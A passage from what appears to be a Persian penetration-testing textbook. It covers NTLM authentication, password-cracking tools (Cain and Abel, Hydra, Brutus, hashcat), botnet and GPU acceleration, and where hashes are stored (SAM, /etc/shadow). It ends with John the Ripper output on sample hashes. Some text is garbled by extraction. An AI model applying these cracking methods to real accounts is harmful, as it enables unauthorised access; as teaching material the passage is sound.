NTLM 12‬خلاصه شده عبارت ‪ NT LAN Manager‬است که این نام در زمانی که ویندوز پشتیبانی شبکه خود را تا حد مدیریت‪ LAN‬پیش برد‪،‬‬ ‫به آن داده شده است‪ .‬پروتکل‪ ، NTLM‬پروتکل پیش فرض احراز هویت در شبکه است که در سیستم عامل ویندوز ‪ NT 4.0‬مورد استفاده قرار میگرفته‬ ‫است ‪. NTLM‬یک پروتکل \"‪ \"Challenge Response‬است که در حال حاضر برای ایجاد هماهنگی با نسخه های پایین تر از ویندوز ‪ 2222‬مورد‬ ‫استفاده قرار میگیرد ‪ .‬احراز هویت \"‪ \"Challenge Response‬خانواده ای از پروتکل ها را شامل میشود که در آن یک طرف ارتباط سوالی‬ ‫)‪(Challeng‬را مطرح میکند و طرف دیگر باید برای آن جوابی معتبر )‪ (Response‬ارائه کند ‪ .‬پروتکل های احراز هویت ‪ NTLM‬شامل ‪LAN‬‬ ‫‪Manager‬ورژن ‪ 1‬و ‪ 2‬و ‪ NTLM‬ورژن ‪ 1‬و ‪ 2‬است‪ .‬تمام این پروتکل های در عمل یک فرایند را دنبال میکنند و تفاوت آن در میزان سطح رمزنگاری‬ ‫موجود در ذات امنیتیشان است‪ .‬پروتکل های احراز هویت‪ ، NTLM‬کلاینت را بر اساس یک مکانیزم \"‪ \"Challenge Response‬که به سرور نشان‬ ‫میدهد که کلاینت پسورد متناظر با اکانت را میداند‪ ،‬احراز هویت میکند‪ .‬پروتکل ‪ NTLM‬میتواند بصورت دلخواه در امنیت ‪ session‬و بخصوص یکپارچگی‬ ‫و محرمانگی پیام ها نیز مورد استفده قرار گیرد‪.‬‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪96‬‬ ‫شکل شماره ‪2‬‬ ‫شکل شماره ‪3‬‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪97‬‬ ‫‪Cain and Abel 4-5-1-4‬‬ ‫احتمالا ‪ Cain and Abel‬بهترین برنامه کرک پسورد در کره زمین است‪ .‬این برنامه تنها در سیستم عامل ویندوز قابل نصب‬ ‫است و می تواند انواع مختلفی از هش ها شامل ‪SQL ،MySQL ،Oracle ،wireless ،MD5 ،NTLMv2 ،NTLM‬‬ ‫‪ VoIP ،Cisco ،SHA2 ،SHA1 ،Server‬و انواع مختلف دیگری را مورد حمله قرار دهد‪ .‬در شکل شماره ‪ 4‬محیط کاری‬ ‫این برنامه نشان داده شده است‪.‬‬ ‫شکل شماره ‪4‬‬ ‫این برنامه قابلیت کرک کردن پسورد ها را با استفاده از حملات دیکشنری‪ ،‬جدول های ‪ rainbow‬و ‪ Brute force‬دارد‪ .‬یکی‬ ‫از بهترین ویژگی های این برنامه قابلیت انتخاب طول پسورد و نوع و تعداد کاراکتر ها برای حمله ‪ Brute force‬است‪.‬‬ ‫‪THC-Hydra 5-5-1-4‬‬ ‫این برنامه احتمالا تنها برنامه ایست که بیشترین استفاده را از سمت جامعه متخصصین فناوری اطلاعات وامنیت و همچنین هکر ها‬ ‫داشته است‪ .‬این برنامه برای حمله به صفحات احراز هویت وب می باشد و زمانی که همزمان با قابلیت برنامه های دیگری چون‬ ‫‪ Burp‬استفاده می شود بسیار قدرتمند خواهد بود‪ .‬بنابراین این برنامه برای حمله به هر نوع سیستم احزار هویت آنلاینی مفید و‬ ‫قدرتمند است‪ .‬در کالی لینوکس این برنامه از طریق واسط گرافیکی و همچنین ترمینال قابل دسترسی است‪.‬‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪98‬‬ ‫‪Brutus 6-5-1-4‬‬ ‫این برنامه برای کرک پسورد های آنلاین است و به گفته خیلی از متخصصین سریع ترین در این نوع از حملات است‪ .‬این برنامه‬ ‫رایگان است و در هر دو پلت فرم لینوکس و ویندوز قابل استفاده است‪ .‬این برنامه از کرک کردن ‪(Basic HTTP‬‬ ‫)‪ Telnet ،SMB ،FTP ،POP3 ،HTTP ( HTML Form/CGI) ،Authentication‬و انواع دیگر چون‬ ‫‪ NetBus ،NNTP ،IMAP‬و ‪ ....‬پشتیبانی می کند‪ .‬در شکل شماره ‪ 5‬محیط این برنامه نشان داده شده است و از طریق لینک‬ ‫زیر می توان آنرا دانلود کرد‬ ‫‪http://www.hoobie.net/brutus/brutus-download.html‬‬ ‫شکل شماره ‪5‬‬ ‫‪ 6-1-4‬ارتباط سخت افزار و شکستن پسوردها‬ ‫‪13Botnet 1-6-1-4‬‬ ‫به بیان ساده کرک پسورد در بدترین حالت یعنی استفاده از حمله ‪ Brute Force‬که تابعی از توان محاسباتی سیستم عامل‬ ‫است‪ .‬اگریک سیستم بتواند یک پسورد را در یک ساعت کرک کند‪ ،‬با استفاده از دو سیستم مشابه یکدیگر ‪ ،‬می توان همان پسورد‬ ‫‪13‬باتنتها شبکههایی هستند که با در اختیار گرفتن مجموعهای از کامپیوترها که بات )‪(bot‬نامیده میشوند‪ ،‬تشکیل میشوند‪ .‬این شبکهها توسط یک و‬ ‫یا چند مهاجم که ‪ botmasters‬نامیده میشوند‪ ،‬با هدف انجام فعالیتهای مخرب کنترل میگردند‪ .‬به عبارت بهتر رباتها کدهای مخربی هستند که بر‬

‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم ‪99‬‬ ‫را در نیم ساعت کرک کرد‪ .‬حال فرض کند در داخل یک شبکه داخلی یا اینترانت و یا شبکه خارجی یا اینترنت شما دسترسی به‬ ‫میلیون ها سیستم دارید‪ .‬در سراسر زمین بات نت هایی وجود دارند که متشکل از بیش از یک میلیون سیستم هستند و برای اهدافی‬ ‫چون کرک کردن پسورد ها استفاده می شوند‪ .‬اگر ما پسوردی داشته باشیم که با سیستم و منابع موجود خودمان یک سال زمان‬ ‫برای شکستن آن نیاز باشد‪ ،‬با استفاده از چنین بانت هایی به صورت تقریبی تنها ‪ 32‬ثانیه زمان برای شکستن آن پسورد نیاز است‪.‬‬ ‫‪GPU2-6-1-4‬‬ ‫امروزه پردازندههای گرافیکی که بر روی کارتگرافیکهای گرانقیمت نصب میشوند توان پردازشی خارقالعادهای را نسبت به‬ ‫پردازندههای مرکزی ارائه میدهند‪ ،‬این موضوع موجب گسترش کاربردهای این پردازندهها در حوزههایی فراتر از بازیهای کامپیوتری‬ ‫گشته است‪ ،‬پردازندههای گرافیکی مدرن با معماری موازی خود پردازندههای بسیار سریعی به شمار میروند‪ ،‬در عین حال با قیمت‬ ‫و توان مصرفی کمتری عرضه میشوند و جهت پیادهسازی حملات کرک پسورد بسیار مناسب هستند‪ .‬تعداد کمی ابزار در کالی‬ ‫لینوکس برای بهره گیری از این قابلیت سخت افزاری وجود دارد که نام این برنامه ها عبارت است از ‪،cudahashcat‬‬ ‫‪ oclhashcat‬و ‪.pyrit‬‬ ‫‪ASIC 3-6-1-4‬‬ ‫تراشه ‪ ASIC‬یا ‪ Application-Specific Integrated Circuit‬به تراشه ای گفته می شود که برای انجام عملیات‬ ‫خاصی طراحی و ساخته می شود ‪ ،‬اغلب ‪ ASIC‬ها با زبان ‪ HDL‬طراحی می شوند و سپس کارخانه های سازنده با تبدیل طراحی‬ ‫به گیت های منطقی ‪ NAND‬یا ‪ NOR‬آن را می سازند‪ .‬تراشه های ‪ ASIC‬معمولا با تعداد بسیار بالا و هزینه پایین تولید می‬ ‫شود و در عین حال که قیمت تمام شده قطعه بسیار پایین می آید اما هزینه گزافی باید به علت تعداد بالا پرداخته شود بنابراین برای‬ ‫کارهایی مناسب هستند که قصد دارند تراشه را به تعداد انبوه استفاده کنند مانند پسورد کرکینگ‪.‬‬ ‫‪ 2-4‬استراتژی حمله‬ ‫شکستن هر پسوردی روش خاص خود را نسبت به فاکتور های دخیل در آن دارد‪ .‬نوع رمزنگاری استفاده شده‪ ،‬آنلاین یا آفلاین بودن‬ ‫آن‪ ،‬حالت ‪ salted‬و یا ‪ unsalted‬و الی آخر‪ .‬در این بخش ما درباره استراتژی کرک کردن پسوردها به صورت مرحله وار صحبت‬ ‫خواهیم کرد‪ .‬این استراتژی روی طیف وسیعی از پسورد ها قابل امتحان است‪ .‬همانطور که قبلا گفتیم پسورد ها به صورت هش شده‬ ‫ذخیره می شوند‪ .‬در سیستم عامل ویندوز در فایل‪ ،SAM‬در لینوکس در فایل ‪ etc/shadow‬و در اکتیو دایرکتوری در‬ ‫‪ .LDAP‬بنابراین در اولین قدم بایستی متوجه شد که در هشی که ما بدست آورده ایم در حالت آفلاین البته‪ ،‬نوع رمزنگاری بکار‬ ‫روی کامپیوترهای میزبان اجرا میشوند تا امکان کنترل نمودن آنها از راه دور را برای‪ botmaster‬ها فراهم نمایند و آنها بتوانند این مجموعه را وادار به‬ ‫انجام فعالیتهای مختلف نمایند‪.‬‬

100 ‫بررسی محرک ها و روشهای تست نفوذ پیشرفته بروی زیر ساخت های شبکه های کابلی و بی سیم‬‫ ما هر دوی این روش ها را برای‬.‫ ما دو روش را برای اینکار پیشنهاد می دهیم که هر دوی آنها امن هستند‬.‫رفته بروی آن چیست‬ ‫پسورد های هش شده زیر بکار می بریم‬*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 ‫هش شماره یک‬2c12471b9239ff8697b41621cc0be83e4d55c0f8 ‫هش شماره دو‬05fe635675068d79a041e02fe64617b6 ‫هش شماره سه‬ John ‫ روش اول شناسایی نوع هش – برنامه‬1-2-4‫ احتمال اینکه این برنامه با موفقیت نوع‬.‫ استفاده می کنیم که در ابتدا نوع هش را شناسایی می کند‬john ‫در روش اول از برنامه‬‫ خیلی از برنامه ها‬.‫ اما اگر برنامه فوق نتواند به موفقیت برسد راه دیگری وجود نخواهد داشت‬.‫ در صد است‬12 ‫هش را شناسایی کند‬‫ نتایج استفاده از برنامه نسبت به هش های بالا در نتایج‬.‫ در زمان استفاده بایستی نوع هش را مشخص کرد‬،hashcat ‫چون‬ )‫ (برای استفاده ابتدا مقدار هش را در یک فایل ذخیره می کنیم و آدرس فایل را به برنامه می دهیم‬.‫ گزارش شده اند‬۶ ‫شماره‬ 6 ‫نتایج شماره‬ ‫نتایج هش شماره یک‬root@dhcppc4:~# john Hash-Type1.hashUsing default input encoding: UTF-8Loaded 1 password hash (mysql-sha1, MySQL 4.1+ [SHA1 32/32])No password hashes left to crack (see FAQ)root@dhcppc4:~# john Hash-Type2.hash 6 ‫نتایج شماره‬Warning: detected hash type \"has-160\", but the string is also recognized as \"Raw-SHA1\"Use the \"--format=Raw-SHA1\" option to force loading these as that type instead ‫نتایج هش شماره دو‬Warning: detected hash type \"has-160\", but the string is also recognized as \"Raw-SHA\"Use the \"--format=Raw-SHA\" option to force loading these as that type instead ‫نتایج هش شماره سه‬Warning: detected hash type \"has-160\", but the string is also recognized as \"ripemd-160\"Use the \"--format=ripemd-160\" option to force loading these as that type insteadUsing default input encoding: UTF-8Loaded 1 password hash (has-160 [HAS-160 32/32])Warning: OpenMP is disabled; a non-OpenMP build may be fasterPress 'q' or Ctrl-C to abort, almost any other key for statusroot@dhcppc4:~# john Hash-Type3.txtWarning: detected hash type \"LM\", but the string is also recognized as \"Raw-MD5\"Use the \"--format=Raw-MD5\" option to force loading these as that type insteadWarning: detected hash type \"LM\", but the string is also recognized as \"Raw-MD5u\"Use the \"--format=Raw-MD5u\" option to force loading these as that type insteadWarning: detected hash type \"LM\", but the string is also recognized as \"ripemd-128\"Use the \"--format=ripemd-128\" option to force loading these as that type insteadWarning: detected hash type \"LM\", but the string is also recognized as \"Snefru-128\"


Like this book? You can publish your book online for free in a few minutes!
Create your own flipbook